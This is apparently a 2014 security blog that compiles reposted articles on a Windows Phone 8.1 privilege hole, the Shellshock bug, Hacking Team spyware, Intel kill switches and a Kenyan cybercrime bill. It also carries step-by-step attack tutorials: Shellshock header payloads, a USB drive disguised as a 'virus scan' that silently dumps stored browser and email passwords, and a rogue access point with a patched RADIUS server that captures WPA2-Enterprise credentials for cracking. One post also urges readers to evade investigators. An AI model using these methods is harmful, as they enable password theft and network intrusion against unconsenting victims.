Blogger Widgets

Wednesday, 19 November 2014

Windows Phone 8.1 Hackable #Hacking #Hacked #Windows

Do you wanna hack Nokia Lumia phone running the latest mobile operating system Windows 8.1 ?? Hackers have made it very easy for you all..!!
Just few weeks after Microsoft announced a 19 year-old critical security hole existed in almost every version of its Windows operating system, XDA-developers have discovered a new vulnerability in Microsoft’s youngest OS Windows 8.1 that could easily be exploited by hackers to hack a Nokia Lumia phone.
XDA Developers hacker who go by the name DJAmol has found a wide open hole in OS Windows Phone 8.1 which makes the operating system very easy to hack. The vulnerability allows attackers to run their application with other user's privileges and edit the registry.

DJAmol realized that simply by replacing the contents of a trusted OEM app that has been transferred over to the SD card, the app will inherit the privileges of the original app. Once done, an attacker could then delete the existing directory and create a new directory with the same name as the original App.
As a result, the third party registry editor app will gain full access to the Info and Settings in the app itself. This how the hack can be implement in a few simple steps prescribed by XDA-developers in a blog post.
  • Develop your own application package and deploy it on the target device.
  • Install an any application such as “Glance Background Beta” from the Window Phone app Store.
  • Delete all folders under the targeted directory of the installed app, in this case, Glance background.
  • Now copy the contents of your own deployed package and paste it on the targeted directory. This implies replacing the “Program Files” of the installed app with your package files.
  • Finally launch the App which will run in OEM (Glance Background beta) directory using the privileges of the targeted App.
The hack is very simple and easy to implement because all it need an application from the Window app store. But thankfully, the hack has not yet escalated to a full interop unlock, as the applications which are allowed to be moved to the SD card have limited access.
XDA developers forum reported the vulnerability to the Microsoft and also warned them that the vulnerability could give higher privileges to the attackers if tried using a First Party Application, rather a third party app. By the time, we can just wait for a response from Microsoft’s part to prevent it from getting more serious.

Wednesday, 15 October 2014

Shell Shock' bug blasts for OS X, Linux systems wide open #Infosec #Security #ShellShock #BashBug

By now, you may have heard about CVE-2014-6271, also known as the "bash bug", or even "Shell Shock", depending on where you get your news. This vulnerability was discovered by Stephane Chazelas of Akamai and is potentially a big deal.  It’s rated the maximum CVSS score of 10 for impact and ease of exploitability. The affected software, Bash (the Bourne Again SHell), is present on most Linux, BSD, and Unix-like systems, including Mac OS X. New packages were released today, but further investigation made it clear that the patched version may still be exploitable, and at the very least can be crashed due to a null pointer exception. The incomplete fix is being tracked as CVE-2014-7169.

Should I panic?

The vulnerability looks pretty awful at first glance, but most systems with Bash installed will NOT be remotely exploitable as a result of this issue. In order to exploit this flaw, an attacker would need the ability to send a malicious environment variable to a program interacting with the network and this program would have to be implemented in Bash, or spawn a sub-command using Bash. The Red Hat blog post goes into detail on the conditions required for a remote attack. The most commonly exposed vector is likely going to be legacy web applications that use the standard CGI implementation. On multi-user systems, setuid applications that spawn "safe" commands on behalf of the user may also be subverted using this flaw. Successful exploitation of this vulnerability would allow an attacker to execute arbitrary system commands at a privilege level equivalent to the affected process.

What is vulnerable?

This attack revolves around Bash itself, and not a particular application, so the paths to exploitation are complex and varied. So far, the Metasploit team has been focusing on the web-based vectors since those seem to be the most likely avenues of attack. Standard CGI applications accept a number of parameters from the user, including the browser's user agent string, and store these in the process environment before executing the application. A CGI application that is written in Bash or calls system() or popen() is likely to be vulnerable, assuming that the default shell is Bash.

Secure Shell (SSH) will also happily pass arbitrary environment variables to Bash, but this vector is only relevant when the attacker has valid SSH credentials, but is restricted to a limited environment or a specific command. The SSH vector is likely to affect source code management systems and the administrative command-line consoles of various network appliances (virtual or otherwise).

There are likely many other vectors (DHCP client scripts, etc), but they will depend on whether the default shell is Bash or an alternative such as Dash, Zsh, Ash, or Busybox, which are not affected by this issue.

Modern web frameworks are generally not going to be affected. Simpler web interfaces, like those you find on routers, switches, industrial control systems, and other network devices are unlikely to be affected either, as they either run proprietary operating systems, or they use Busybox or Ash as their default shell in order to conserve memory. A quick review of a approximately 50 firmware images from a variety of enterprise, industrial, and consumer devices turned up no instances where Bash was included in the filesystem. By contrast, a cursory review of a handful of virtual appliances had a 100% hit rate, but the web applications were not vulnerable due to how the web server was configured. As a counter-point, Digital Bond believes that quite a few ICS and SCADA systems include the vulnerable version of Bash, as outlined in their blog post. Robert Graham of Errata Security believes there is potential for a worm after he identified a few thousand vulnerable systems using Masscan. The esteemed Michal Zalewski also weighed in on the potential impact of this issue.

In summary, there just isn't enough information available to predict how many systems are potentially exploitable today.

The two most likely situations where this vulnerability will be exploited in the wild:

    1) Diagnostic CGI scripts that are written in Bash or call out to system() where Bash is the default shell
   2)  PHP applications running in CGI mode that call out to system() and where Bash is the default shell

Bottom line: This bug is going to affect an unknowable number of products and systems, but the conditions to exploit it are fairly uncommon for remote exploitation.

Update: A DDoS bot that exploits this issue has already been found in the wild by @yinettesys

Is it as bad as Heartbleed?

There has been a great deal of debate on this in the community, and we’re not keen to jump on the “Heartbleed 2.0” bandwagon. The conclusion we reached is that some factors are worse, but the overall picture is less dire. This vulnerability enables attackers to not just steal confidential information as with Heartbleed, but also to take over the device or system and execute code remotely. From what we can tell, the vulnerability is most likely to affect a lot of systems, but it isn't clear which ones, or how difficult those systems will be to patch. The vulnerability is also incredibly easy to exploit. Put that together and you are looking at a lot of confusion and the potential for large-scale attacks.

– and that’s a big but – per the above, there are a number of factors that need to be in play for a target to be susceptible to attack. Every affected application may be exploitable through a slightly different vector or have different requirements to reach the vulnerable code. This may significantly limit how widespread attacks will be in the wild. Heartbleed was much easier to conclusively test and the impact way more widespread.

How can you protect yourself?

The most straightforward answer is to deploy the patches that have been released as soon as possible. Even though CVE-2014-6271 is not a complete fix, the patched packages are more complicated to exploit. We expect to see new packages arrive to address CVE-2014-7169 in the near future. If you have systems that cannot be patched (for example systems that are End-of-Life), it’s critical that they are protected behind a firewall. A big one. And test whether that firewall is secure.

What can we do to help?

Rapid7's Nexpose and Metasploit products have been updated to assist with the detection and verification of these issues. Nexpose has been updated to check for CVE-2014-6271 via credentialed scans and will be updated again soon to cover the new packages released for CVE-2014-7169.  Metasploit added a module to the framework a few hours ago and it will become available in both Metasploit Community and Metasploit Pro in our weekly update. We strongly recommend that you test your systems as soon as possible and deploy any necessary mitigations. If you would like some advice on how to handle this situation, our Services team can help


 A bug discovered in the widely used Bash command interpreter poses a critical security risk to Unix and Linux systems – and, thanks to their ubiquity, the internet at large.

It lands countless websites, servers, PCs, OS X Macs, various home routers, and more, in danger of hijacking by hackers.

The vulnerability is present in Bash up to and including version 4.3, and was discovered by Stephane Chazelas. It puts Apache web servers, in particular, at risk of compromise: CGI scripts that use or invoke Bash in any way – including any child processes spawned by the scripts – are vulnerable to remote-code injection. OpenSSH and some DHCP clients are also affected on machines that use Bash.

Ubuntu and other Debian-derived systems that use Dash exclusively are not at risk – Dash isn't vulnerable, but busted versions of Bash may well be present on the systems anyway. It's essential you check the shell interpreters you're using, and any Bash packages you have installed, and patch if necessary.

"Holy cow. There are a lot of .mil and .gov sites that are going to get owned," security expert Kenn White said on Wednesday in reaction to the disclosed flaw.

The 22-year-old bug, dating back to version 1.13, lies in Bash's handling of environment variables: when assigning a function to a variable, trailing code in the function definition will be executed, leaving the door wide open for code-injection attacks. The vulnerability is exploitable remotely if code can be smuggled into environment variables sent over the network – and it's surprisingly easy to do so.

According to the NIST vulnerability database, which rates the flaw 10 out of 10 in terms of severity:

    GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution.

    Authentication: Not required to exploit

    Impact Type: Allows unauthorized disclosure of information; Allows unauthorized modification; Allows disruption of service

An advisory from Akamai explains the problem in more depth, as does this OSS-Sec mailing list post.

Proof-of-concept code for exploiting Bash-using CGI scripts to run code with the same privileges as the web server is already floating around the web. A simple Wget fetch can trigger the bug on a vulnerable system.

A nasty bug in many of the world’s Linux and Unix operating systems could allow malicious hackers to create a computer worm that wreaks havoc on machines across the globe, security experts say.

The flaw, called Shellshock, is being compared to last spring’s Heartbleed bug because it lets attackers do some nasty stuff—in this case, run unauthorized code—on a large number of Linux computer servers. The flaw lies in Bash, a standard Unix program that’s used to connect with the computer’s operating system.

The good news is that it doesn’t take long to patch the bug. At internet infrastructure provider CloudFlare, admins scrambled for about an hour this morning to fix the flaw, which was disclosed late on Tuesday. “We got 95 percent of it done within 10 minutes,” says Ryan Lackey a security engineer at the company.

The flaw is being compared to last spring’s Heartbleed bug because it lets attackers do some nasty stuff on a large number of Linux servers

Because Shellshock is easy to exploit—it only takes about three lines of code to attack a vulnerable server—Lackey and other security experts think there’s a pretty good chance that someone will write a worm code that will jump from vulnerable system to vulnerable system, creating hassles for the world’s system administrators. “People are already exploiting it in the wild manually, so a worm is a natural outgrowth of that,” Lackey says.

To exploit the bug, the bad guys need to connect to software such as PHP or DHCP—which use bash to launch programs within the server’s operating system

I'm at the Virus Bulletin 2014 Conference, taking bets on when we'll see a worm exploiting the #Shellshock bash bug.

— Mikko Hypponen (@mikko) September 25, 2014

There are still some important questions about the bug. One is whether other operating systems that use Bash—Mac OS, for example—are vulnerable. Another big one: how many linux server applications and appliance-like Linux devices—things like storage servers or video recording devices—might be vulnerable to the flaw. Many of these Linux systems to not use the Bash software, but those that do could be vulnerable to attack and difficult to patch.

In the grand scheme of things, Shellshock is not as big of a problem as, say, phishing attacks, which continue to trick internet users, says Robert Graham, CEO of Errata Security. However, it’s “slightly worse then Heartbleed,” he says. “It’s in more systems. It’s going to be harder to track them down and patch them, and you can immediately exploit it with remote code execution.” Heartbleed let criminals steal your username and passwords, but it didn’t make it quite so easy to run your own malicious software on a vulnerable system, Graham says.

Like Heartbleed, the new bug has been around for a long time, and was introduced in a widely used piece of open source software. In the wake of Heartbleed, the open source community came up with some money to beef up the security of several popular open-source tools. And it may be time to add a few more—including Bash— to that list.

Exploiting the BUG

This article has a nice example of exploiting this bug:

Exploiting the Bug

By creating a HTTP request like this:


target =
port = 80
banners = true
http-user-agent = shellshock-scan (
http-header = Cookie:() { :; }; ping -c 3
http-header = Host:() { :; }; ping -c 3
http-header = Referer:() { :; }; ping -c 3
The attacker is able to (in this situation) have the target ping a 
specific IP. Imagine many targets doing this simultaneously to perform a 
DDOS attack as seen in the post below:
-Article Credited to Various Sources-

Saturday, 12 July 2014

Creating a USB Password Stealer #Pentesting #USB #Passwords #Infosec #Security

One of the most dangerous things we all do on a regular basis, for obvious reasons, is saving our passwords in our browsers. We don't really think about the dangers in it, we see the convenience in not having to input (in my case) 10 characters after already typing our username or email every time we want to do something as simple as log in to Facebook. Well this tutorial can show you how dangerous it really is just storing your passwords for easy access to your accounts.

I want everyone to keep in mind, this tutorial is strictly for educational purposes, & any attempts to use these tactics for stealing information without permission is solely on you. Don't go tattling on me.

What you'll need:
A USB Drive, preferably 2GB+
A Windows computer
MessenPass: Used for recovering passwords from various instant messenger applications.
Mail PassView: Used to fetch passwords from popular email clients such as Outlook or Thunderbird.
IE PassView: Used to gather passwords stored by Internet Explorer (for those who just can't accept change..)
Protected Storage PassView: This program retrieves passwords from Windows 'protected storage'. This is one of the most useful.
PasswordFox: Used to fetch passwords & sensitive information from Firefox.
Now, there are many others that you can add to this USB Password Fetcher, & if you know of any that you feel should be added to this article, don't hesitate to comment.

Preparing the drive
Before anything else, we want to get all the applications ready to go & installed on the USB drive. You'll ONLY need the executable (*.exe) files to be on the USB drive. Download the 5 tools & extract the executables to the drive. With the next step, we'll write a simple Autorun.inf file that will tell the victim's computer to run these applications.

Making the drive run automatically

What is an autorun.inf?

An autorun.inf file is a text file that can be used by the AutoRun and AutoPlay components of Microsoft Windows operating systems. For the file to be discovered and used by these component, it must be located in the root directory of a volume. As Windows has acase-insensitive view of filenames, the autorun.inf file can be stored as AutoRun.inf or Autorun.INF or any other case combination.

The AutoRun component was introduced in Windows 95 as a way of reducing support costs. AutoRun enabled application CD-ROMs to automatically launch a program which could then guide the user through the installation process. By placing settings in anautorun.inf file, manufacturers could decide what actions were taken when their CD-ROM was inserted. The simplest autorun.inf files have just two settings: one specifying an icon to represent the CD in Windows Explorer (or "My Computer") and one specifying which application to run.

This file will tell the victim's computer to run the various tasks we want the USB drive to perform.

Writing the Autorun.inf

Open Notepad & paste the following code in the document:

ACTION= Perform a Virus Scan

Now go to File & click Save As..

Save the file as: autorun.inf on the USB Drive's root.

Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

This alone won't do what we need it to, but as you can see its launching a batch(*.bat) file that we'll write next that will perform the password fetching process. The reason we do this is because we can perform more advanced tasks with a batch file than we can with an autorun.inf.

The ACTION= will display to the end user what the USB Drive's function is. We both know that its not performing a virus scan, but we wouldn't be very stealthy if it just read STEALING YOUR PASSWORD. U MAD BRO? so we're going to disguise this as a healthy computing task.

Writing the batch file

Open up Notepad again, & paste the following:

start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt

Aside from launching the various applications, we're actually asking the computer to log everything in an individual text (*.txt) file. Now if you really want to, you could ask the computer to create one universal log file, but I wouldn't recommend this. Its much easier to decipher this way.

Go to File, & Save As.. and save this file as launch.bat on the USB drive's root. Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

Now everything should be ready for testing!

Testing the USB Password Fetcher

Now keep in mind, in some cases, Autorun could be completely disabled, in which this tactic will not work, but let's get started with our first test.

Pop the USB Drive in any available USB port on the victim machine, & an autorun prompt will pop-up. The first option should say Perform A Virus Scan. Perform your "virus scan" & silently, your password fetcher is throwing all the information into various text files on your USB Drive. This process is relatively quick, so don't fret if you blinked & missed it.

Enjoy those passwords

Pull your drive from the victim computer & plug it into your personal computer. This time, to view the passwords, choose Open folder to view files from the autorun menu, & check your text files.

Friday, 27 June 2014

Researchers Uncover Spying Tool Used by Governments to Hijack all Types of Smartphones #Hacking #Privacy #Spying #Hijacking #Surveillance

Purchasing malware to victimize people is illegal by laws but if the same thing any government official do, then its not!! Yes, the police forces around the World are following the footsteps of U.S. National Security Agency (NSA) and FBI.

Researchers from the Citizen Lab at the Munk School of Global Affairs at the University of Toronto and computer security firm Kaspersky Lab have unearthed a broad network of controversial spyware which is specially designed to give law enforcement agencies complete access to a suspect's phone for the purpose of surveillance.

The malware, dubbed as Remote Control System (RCS), also known as Da Vinci and Galileo, is developed by an Italian company known as Hacking Team, available for desktop computers, laptops, and mobile devices. The latest version of the malware works for all phone including Android, iOS, Windows Mobile, Symbian and BlackBerry devices, but best on Android devices, and can also be installed on jailbroken iOS devices. But even if the targeted iOS device is not jailbroken, the malware uses the famous Evasi0n jailbreaking tool to install the malware easily.

The team of researchers from both Citizen Lab and Kaspersky Lab in collaboration has presented their findings during an event in London. According to the report published, the diameter of the command infrastructure supporting Hacking Team, which sells the RCS to governments and law enforcement, is very vast with 326 command-and-control (C&C) servers running in more than 40 countries.

Hacking Team is a Milan-based IT company with more than 50 employees that has made a totally different place for itself selling "offensive" intrusion and surveillance software to governments and law enforcement agencies in "several dozen countries" on "six continents."

It was a well-known fact for quite some time that the HackingTeam products included malware for mobile phones. However, these were rarely seen,” said Kaspersky Lab experts on the blog post. “In particular, the Android and iOS Trojans have never been identified before and represented one of the remaining blank spots in the story.”

Kaspersky Lab researchers have used a fingerprinting method to scan the entire IPv4 space and to identify the IP addresses of RCS Command & Control servers around the world and found the biggest host in United States with 64 counts of C&C servers. Next on the list was Kazakhstan with 49, Ecuador has 35, UK which hosts 32 control systems and many other countries with a grand total of 326 Command & Control servers.
"The presence of these servers in a given country doesn't mean to say they are used by that particular country's law enforcement agencies," said Sergey Golovanov, principal security researcher at Kaspersky Lab. "However, it makes sense for the users of RCS to deploy C&Cs in locations they control – where there are minimal risks of cross-border legal issues or server seizures."
RCS can be physically implanted on the victim’s device through a USB or SD card, and remotely it can be installed through spear phishing, exploit kits, drive-by downloads or network traffic injection.

Once installed on Apple iOS and Android device, the new module enable governments and law enforcement officers with larger capabilities to monitor victim devices, including the ability to:
  • control phone network
  • steal data from their device
  • record voice E-mail
  • intercept SMS and MMS messages
  • obtain call history
  • report on their location
  • use the device’s microphone in real time
  • intercept voice and SMS messages sent via applications such as Skype, WhatsApp, Viber, and much more.
"Secretly activating the microphone and taking regular camera shots provides constant surveillance of the target—which is much more powerful than traditional cloak and dagger operations," Golovanov wrote.
While, the Android module is protected by an optimizer for Android called DexGuard that made the it extremely difficult to analyze. However, most of the iOS capabilities mentioned above are also available for Android, along with the support for hijacking applications such Facebook, Google Talk, Tencent of China and many more.

The mobile modules for each are custom-built for each target, researchers said. From previous disclosures we have seen that RCS is currently being used to spy on political dissidents, journalists, human rights advocates, and opposing political figures.

Credited to: Hacker News Website

Thursday, 26 June 2014

Intel Developing RFID Tracking and Remote Controlled 'Kill Switch' for Laptops #Intel #KillSwitch #Theft

Kill Switch - the ability to render devices non-operational to prevent theft - has become a hot topic nowadays. The ability to remotely destroy data of the device lost or stolen has been available for quite some time now, but Kill switch not only remotely destroy the devices’ data but also the device itself, making it useless for the thieves.
Just last week, Google and Microsoft signed an agreement with the New York Attorney General to add "kill switches" to the upcoming versions of Android and Windows Phone devices, as a part of the "Secure our Smartphones" initiative.
But now, the largest chip manufacturer, Intel will soon going to provide Kill Switches for your laptops as well. The company has been working on a project called Wireless Credential Exchange (WCE) with several partners in an effort to bring Kill switch to other mobile devices, including laptops.

The project uses RFID technology to provision, track and monitor devices such as laptops, hospital equipment and other devices, including a Kill Switch option for the lost or stolen devices.
You all might have heard about the RFID technology, which has been available for more than fifty years. RFID, stands for Radio-frequency identification, is the wireless non-contact use of Radio-Frequency electromagnetic fields to transfer signals, for the purposes of automatically identifying and tracking tags attached to objects.
The Wireless Credential Exchange (WCE) uses the Monza RFID chips developed by Impinj, industry-standard RFID readers created by Technology Solutions UK and a cloud-based data repository and dashboard created by Burnside Digital called IPTrak software.
The IPTrak software that ties all components together, allows Intel SoC to read and write data such as unique IDs, error logs, permissions, and device configuration to the Monza chip, even if the system is powered off.
Devices can be scanned using a RFID reader and data from the IPTrak software stored in a cloud-based database and accessed via IPTrak mobile device apps for Windows, iOS, or Android applications using Bluetooth technology.
For example, It has ability to disable a device prior to shipping and then only reactivating the device once it reaches its final destination. This would render a device useless if it were lost or stolen during shipment.
In addition to this, devices returned to a factory or repair center could be scanned, error logs read, and the device routed to the appropriate technicians without even opening the box.
Two years back, Intel added ‘Kill Switch’ to its Sandy Bridge processors naming them Anti-Theft 3.0, using which the processor can be disabled even if the computer has no Internet connection or isn't even turned on, over a 3G network, so that if computer is lost or stolen, it can be shut down remotely.
Posted Courtesy of Hacker News Website

Thursday, 19 June 2014

Tough Law on Cybercrime Targets All Kenyans #Hackers #Hacking #Cybercrime #Cyberbulling #Kenya

Kenya still relies on Central Depositories Act and the Penal Code, among other frameworks, that are not clear with regard to arresting and prosecuting cyber-crime suspects. Previously, Kenyans courts were limited in trying offenses committed outside the country. Those found guilty will either be fined up to Sh2 million, be jailed for three years, or both.Courts in the country will soon have jurisdiction to try any Kenyan citizen who commits an offense anywhere in the world if the Cybercrime and Computer Crimes Bill, 2014 becomes law.
The Bill, which was drafted by the office of the Director of Public Prosecution and is to be tabled in Parliament, proposes actions for offence committed in and outside Kenya.
“We need these laws and once in place we have to sensitise Kenyans so that we can deal with cybercrime,” Deputy Director of Public Prosecutions Dorcas Oduor said when opening a forum for stakeholders to discuss the proposed Bill this week. (READ: There’s urgent need for internet law)
Previously, Kenyans courts were limited in trying offences committed outside the country.

Those found guilty of committing the offence on a ship or aircraft registered in Kenya, using a Kenyan domain name or outside the territory of Kenya will also be prosecuted.
They will either be fined up to Sh2 million, be jailed for three years, or both.
Evidence generated from a computer system will also be admissible in a court of law while prosecuting such a crime.
The Bill also proposes that a person who causes a computer system to perform a function, knowing that the access they intend to secure is unauthorised, commits an offence.
“A person who intentionally and without lawful excuse or justification, inputs, alters, delays transmission, deletes, or suppresses computer data, resulting in inauthentic data with the intent that it be considered or acted upon for legal purposes as if it were authentic, commits an offence and is liable upon conviction to a fine not exceeding ten million or ten years imprisonment or both.”

The Bill also proposes that a person who sells, lets to hire, distributes, publicly exhibits through a computer system and puts into circulation, or for purposes of sale, hire, distribution, public exhibition or circulation, makes, produces or their possession any obscene book, pamphlet, paper, drawing, painting, art, representation or figure or any other obscene object commits an offence.
Those using computers to threaten, abuse or insulting words or behaviour, displays publishes or distributes written or electronic material; or distributes, shows or plays, a recording of visual images will be held accountable.
The Bill also proposes action on a person who uses a computer system including electronic communication to harass, intimidate or cause substantial emotional distress or anxiety to another person.
These include communicating obscene, vulgar, profane, lewd, lascivious, or indecent language, picture or image.
Courts will also issue a warrant authorising a police officer or lawful authority, to enter any premises to access, search and seize the thing or computer data.
All public or private corporations processing personal data will be expected to report any security breaches resulting in theft, loss or misuse of data to the police and those who will fail will be committing an offence.
 Depicted from The Daily Nation

Is it worth it?! For others, they need that rush, that adrenaline flow in their blood,so its a fruit that must be eaten-I have one phrase to guide you; that's if you can't stay away from that adrenaline rush: 'Make it hard for them to find you, and impossible for them to prove they've found you' *Winks* Happy Hunting

Wednesday, 18 June 2014

Attacking WPA/WPA2 Enterprise Networks #Hacking #Networking #Infosec #WiFi #Wireless #WPA2


This guide will discuss some of the security flaws regarding wireless networks implementing WPA/WPA2 Enterprise authentication as well as ways to exploit these weaknesses. Enterprise type authentication models are mostly used in corporate settings consisting of companies that typically have a lot of people. From what I have seen a lot of Universities, Colleges as well as Hospitals also use this form of authentication to verify its users. The methods discussed below are usually a result of VERY COMMON poor configuration in regards to certificate validation as well as RADIUS configuration.
Homework: First and foremost if you do not know exactly how enterprise authentication works I suggest you do some reading to get yourself familiar with the process of how clients are verified. I highly suggest reading this PEAP which discussed the different types authentication types that can take place within enterprise. Also take a look at RADIUS which gives some nice detail as to how the RADIUS server works. A few things to take note of:
1. WPA/WPA2 Enterprise does NOT use a preshared key, this means that every time a user is verified on the network a random key is generated. To the best of my knowledge this cannot be cracked by capturing packets.
2. This guide will cover mainly PEAP since it accounts for 80% or more of the types used in the US (see Wikipedia page)
3. EAP is responsible for authentication NOT the access point
4. The access point handles the encryption( TKIP/CCMP)
I will try and outline how the authentication process works as simply as possible...
Okay, this diagram will hopefully help you visualize what's going on. Here is the process in order which things occur.... 1.Client sends request to access point to connect. 2. The access point responds telling the client to connect to the RADIUS server to be authenticated. 3. Client connects to the RADIUS server. 4. RADIUS sets up TLS tunnel to receive username and password from client. 4. RADIUS server verifies client . 5. RADIUS server tells access point that the client is verified and can now connect. 

Scenario 1: For our first attack we will be using a rogue access point. Due to the way enterprise is implemented this becomes essential in helping us get past the RADIUS server problem. The Radius server uses a certificate to validate the access point along with the network. Once the certificate is validated the client sends his username and password to the server to be verified. What we will be exploiting is a VERY common mistake made in configuring PEAP, where certificate validation is NOT used! If PEAP is configured this way (surprisingly a lot of the time it is..) the client will not be prompted if an invalid certificate is used and unknowingly will accept it. Step 1: Create a fake AP by matching the target networks SSID, encryption type and band (a/b/g/n).
This can very simple or very complex depending on how sophisticated you want this attack to be. For example you could take a regular Linksys home router change its settings and run it off of batteries for more stealth placement. See this link for details on running a router off of batteries Wrt54g on batteries. You can run a normal Linksys router on a lead acid battery for close to a month.
This allows for stealthy placement of the access point where it will not need a hard wired power source. Using modified antennas and/or amplifies will also be more powerful in getting users to connect. (more info on this later)


Step 2: Create our own fake RADIUS server.

Okay we have our fake access point that identical to our target network. Now we need our fake RADIUS server. We will be setting up our own little fake RADIUS server on a version of Backtrack4 which will be connected wirelessly to our fake access point. Download the free radius server from (You may need version 2.02 haven't tested with the newer one) . Extract freeRADIUS and go to that directory. We will be applying a patch known as Wireless Pwnage Edition created by Joshua Wright and Brad Antoniewicz. Available here WPE freeradius. What this patch does:
  • Will return success for ANY authentication request regardless of who it is.
  • Will create a Log of all client credentials. This includes username, password and the challenge response. (if you don't know what a challenge response is you didn't read the Wikipedia page)
  • This will log credentials for PEAP, TTLS, LEAP, EAP-MD5, EAP-MSCHAPv2,PAP,CHAP
In the directory where freeRadius is extracted run the following to patch freeRADIUS. $ patch -p1 < ../freeradius-wpe-2.0.2.patch $ ./configure && make && sudo make install && sudo ldconfig Now we will create our certificates. $ cd freeradius-server-2.0.2/raddb/certs $ ./bootstrap $ sudo cp -r * /usr/local/etc/raddb/certs Start the server. # radiusd Monitor the Log File # tail -f /usr/local/var/log/radius/freeradius-server-wpe.log
Next we need to set our fake access point to use our RADIUS server.
Fill in the required fields on the fake access point. Now we need to get a client to connect to our AP. You can do this a few ways. You can simply wait until a client connects or if your impatient like me you can start deauthenticating people from legit access points. ( we all know how to do that right :p ) There's other ways as well, by having the strongest signal strength people will connect to your AP instead of others, you can do this by using antennas/amplifiers if necessary. Chances are you shouldn't have to go the amplifier route and you should have a victim connect to your AP and type in their credentials which the RADIUS server will capture. When viewing the log you should see something like this. (**NOTE** VISIBLE ACCESS POINTS TAKE PRECEDENCE OVER HIDDEN ACCESS POINTS IN WINDOWS)
The challenge and response is their password. Now we have to crack it with a dictionary attack.
Fire up Asleap This is what we will be using to crack the challenge and response. Type the following ./asleap -w "wordlistgoeshere" -C "Challenge" -R "Response" Now you wait. Depending on how good your dictionary is you will have a password. GRATZ!

Scenario 2 (excuse my lack of detail, if anyone wants I will write up a more detailed version) Now what if the certificate validation is used when configuring PEAP? This will cause the user to be prompted to accept the certificate when they join a new network. The dialog box that is presented gives VERY LITTLE DETAIL! Their certificate will verify that the network they are joining is correct and legitimate. We can apply the same attack as above and succeed as long as the user accepts the certificate and they did not specify which server the certificate is valid for which is not filled in by default. This is another very common negligence by people setting up PEAP. Now knowing end users, the chances are pretty good that they will click accept since the dialog provides minimal detail. Now before we proceed we will need to sniff the certificate that the user is using. This can be done with almost any wireless capture tool. When a user connects to their network a TLS connection will be setup up and the certificate will be able to be captured as it is not encrypted during the first request. After some very basic wireless sniffing, determine the CA of the certificate. These are usually the major vendors such as Verisign. You will need to purchase a LEGITIMATE certificate from this vendor to perform the attack. After you have purchased the certificate set the fake RADIUS server up to use it. Now because the person who configured PEAP did not specify the server that the certificate was valid for the user will not see any difference in accepting ours since its from the same vendor.

Scenario 3  Iphone exploit When you have a company that uses WPA/WPA2 enterprise chances are there's going to be some iphones around. This presents a great opportunity to infiltrate the network due to a fundamental flaw in the iphones wifi setup. The iphone does not have the options to specify what authentication type to use in regards to enterprise they simply just aren't there. The iphone also doesn't allow for a preconfigured certificates meaning they can't be tied to a legit RADIUS server. This flaw makes them susceptible even in the worst case scenario being certificate validation is enabled tied to a specific radius server. Please keep in mind that some phones do support these options, such as the Motorola droid but Iphones DO NOT.
 Conclusion When performing an audit on a WPA/WPA2 Enterprise network always check for common misconfiguration of their equipment as these may lead to insecurities. ALWAYS make sure your clients have certificate authentication enabled as well as a specific server tied to it. Special Thanks to the guys over at SecureState Well that's the end of this guide...I guess. Let me know what you think =)